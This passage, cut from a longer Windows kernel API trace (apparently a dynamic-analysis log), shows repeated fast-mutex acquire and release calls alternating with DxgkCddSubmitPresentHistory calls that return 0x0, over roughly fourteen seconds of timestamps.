(FastMutex=0xffffe000001652b0) [0278.894] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0278.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0278.894] DxgkCddSubmitPresentHistory () returned 0x0 [0280.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.019] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0280.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.019] DxgkCddSubmitPresentHistory () returned 0x0 [0280.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.097] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0280.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.097] DxgkCddSubmitPresentHistory () returned 0x0 [0280.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.144] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0280.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.144] DxgkCddSubmitPresentHistory () returned 0x0 [0280.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.222] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0280.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.222] DxgkCddSubmitPresentHistory () returned 0x0 [0280.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.269] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0280.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.269] DxgkCddSubmitPresentHistory () returned 0x0 [0280.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.331] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0280.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.331] DxgkCddSubmitPresentHistory () returned 0x0 [0280.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.409] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0280.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.409] DxgkCddSubmitPresentHistory () returned 0x0 [0280.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.456] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0280.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.456] DxgkCddSubmitPresentHistory () returned 0x0 [0280.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.534] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0280.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.534] DxgkCddSubmitPresentHistory () returned 0x0 [0280.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.581] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0280.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.581] DxgkCddSubmitPresentHistory () returned 0x0 [0280.671] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.671] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0280.671] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.671] DxgkCddSubmitPresentHistory () returned 0x0 [0280.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.722] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0280.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.722] DxgkCddSubmitPresentHistory () returned 0x0 [0280.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.784] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0280.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.784] DxgkCddSubmitPresentHistory () returned 0x0 [0280.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.847] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0280.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.847] DxgkCddSubmitPresentHistory () returned 0x0 [0280.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.894] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0280.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.894] DxgkCddSubmitPresentHistory () returned 0x0 [0280.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.956] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0280.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.956] DxgkCddSubmitPresentHistory () returned 0x0 [0281.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0281.019] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0281.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0281.019] DxgkCddSubmitPresentHistory () returned 0x0 [0281.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0281.878] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0281.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0281.879] DxgkCddSubmitPresentHistory () returned 0x0 [0281.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0281.941] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0281.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0281.941] DxgkCddSubmitPresentHistory () returned 0x0 [0281.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0281.988] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0281.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0281.988] DxgkCddSubmitPresentHistory () returned 0x0 [0282.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0282.050] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0282.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0282.050] DxgkCddSubmitPresentHistory () returned 0x0 [0282.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0282.112] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0282.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0282.113] DxgkCddSubmitPresentHistory () returned 0x0 [0284.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0284.847] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0284.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0284.847] DxgkCddSubmitPresentHistory () returned 0x0 [0285.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.222] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0285.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.222] DxgkCddSubmitPresentHistory () returned 0x0 [0285.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.269] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0285.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.269] DxgkCddSubmitPresentHistory () returned 0x0 [0285.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.332] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0285.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.332] DxgkCddSubmitPresentHistory () returned 0x0 [0285.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.394] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0285.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.394] DxgkCddSubmitPresentHistory () returned 0x0 [0285.458] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.458] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0285.458] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.458] DxgkCddSubmitPresentHistory () returned 0x0 [0285.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.519] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0285.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.519] DxgkCddSubmitPresentHistory () returned 0x0 [0285.582] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.582] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0285.582] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.582] DxgkCddSubmitPresentHistory () returned 0x0 [0285.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.660] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0285.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.660] DxgkCddSubmitPresentHistory () returned 0x0 [0285.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.722] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0285.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.722] DxgkCddSubmitPresentHistory () returned 0x0 [0285.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.785] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0285.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.785] DxgkCddSubmitPresentHistory () returned 0x0 [0285.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.863] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0285.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.863] DxgkCddSubmitPresentHistory () returned 0x0 [0285.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.910] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0285.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.910] DxgkCddSubmitPresentHistory () returned 0x0 [0285.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.988] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0285.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.988] DxgkCddSubmitPresentHistory () returned 0x0 [0286.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0286.050] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0286.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0286.050] DxgkCddSubmitPresentHistory () returned 0x0 [0286.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0286.097] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0286.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0286.097] DxgkCddSubmitPresentHistory () returned 0x0 [0286.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0286.160] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0286.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0286.160] DxgkCddSubmitPresentHistory () returned 0x0 [0286.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0286.222] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0286.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0286.222] DxgkCddSubmitPresentHistory () returned 0x0 [0287.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0287.847] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0287.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0287.847] DxgkCddSubmitPresentHistory () returned 0x0 [0287.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0287.894] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0287.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0287.894] DxgkCddSubmitPresentHistory () returned 0x0 [0287.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0287.972] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0287.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0287.972] DxgkCddSubmitPresentHistory () returned 0x0 [0288.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0288.019] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0288.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0288.020] DxgkCddSubmitPresentHistory () returned 0x0 [0288.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0288.113] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0288.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0288.113] DxgkCddSubmitPresentHistory () returned 0x0 [0290.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.300] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0290.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.300] DxgkCddSubmitPresentHistory () returned 0x0 [0290.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.363] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0290.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.363] DxgkCddSubmitPresentHistory () returned 0x0 [0290.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.425] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0290.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.425] DxgkCddSubmitPresentHistory () returned 0x0 [0290.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.488] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0290.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.488] DxgkCddSubmitPresentHistory () returned 0x0 [0290.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.567] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0290.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.568] DxgkCddSubmitPresentHistory () returned 0x0 [0290.615] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.615] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0290.615] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.615] DxgkCddSubmitPresentHistory () returned 0x0 [0290.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.691] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0290.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.691] DxgkCddSubmitPresentHistory () returned 0x0 [0290.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.738] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0290.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.738] DxgkCddSubmitPresentHistory () returned 0x0 [0290.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.816] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0290.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.816] DxgkCddSubmitPresentHistory () returned 0x0 [0290.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.863] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0290.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.863] DxgkCddSubmitPresentHistory () returned 0x0 [0290.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.941] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0290.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.941] DxgkCddSubmitPresentHistory () returned 0x0 [0290.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.973] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0290.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.973] DxgkCddSubmitPresentHistory () returned 0x0 [0291.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.035] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0291.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.035] DxgkCddSubmitPresentHistory () returned 0x0 [0291.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.113] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0291.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.113] DxgkCddSubmitPresentHistory () returned 0x0 [0291.178] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.178] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0291.178] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.178] DxgkCddSubmitPresentHistory () returned 0x0 [0291.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.207] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0291.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.207] DxgkCddSubmitPresentHistory () returned 0x0 [0291.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.239] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0291.239] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.239] DxgkCddSubmitPresentHistory () returned 0x0 [0291.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.456] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0291.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.456] DxgkCddSubmitPresentHistory () returned 0x0 [0291.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.519] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0291.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.519] DxgkCddSubmitPresentHistory () returned 0x0 [0291.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.598] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0291.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.598] DxgkCddSubmitPresentHistory () returned 0x0 [0291.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.661] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0291.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.661] DxgkCddSubmitPresentHistory () returned 0x0 [0291.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.722] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0291.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.722] DxgkCddSubmitPresentHistory () returned 0x0 [0291.791] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.791] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0291.791] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.791] DxgkCddSubmitPresentHistory () returned 0x0 [0291.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.832] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0291.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.832] DxgkCddSubmitPresentHistory () returned 0x0 [0291.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.894] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0291.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.894] DxgkCddSubmitPresentHistory () returned 0x0 [0291.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.956] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0291.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.956] DxgkCddSubmitPresentHistory () returned 0x0 [0292.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.019] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0292.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.019] DxgkCddSubmitPresentHistory () returned 0x0 [0292.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.081] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0292.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.081] DxgkCddSubmitPresentHistory () returned 0x0 [0292.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.160] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0292.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.160] DxgkCddSubmitPresentHistory () returned 0x0 [0292.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.207] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0292.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.207] DxgkCddSubmitPresentHistory () returned 0x0 [0292.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.285] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0292.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.285] DxgkCddSubmitPresentHistory () returned 0x0 [0292.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.332] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0292.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.332] DxgkCddSubmitPresentHistory () returned 0x0 [0292.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.394] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0292.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.394] DxgkCddSubmitPresentHistory () returned 0x0 [0292.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.457] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0292.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.457] DxgkCddSubmitPresentHistory () 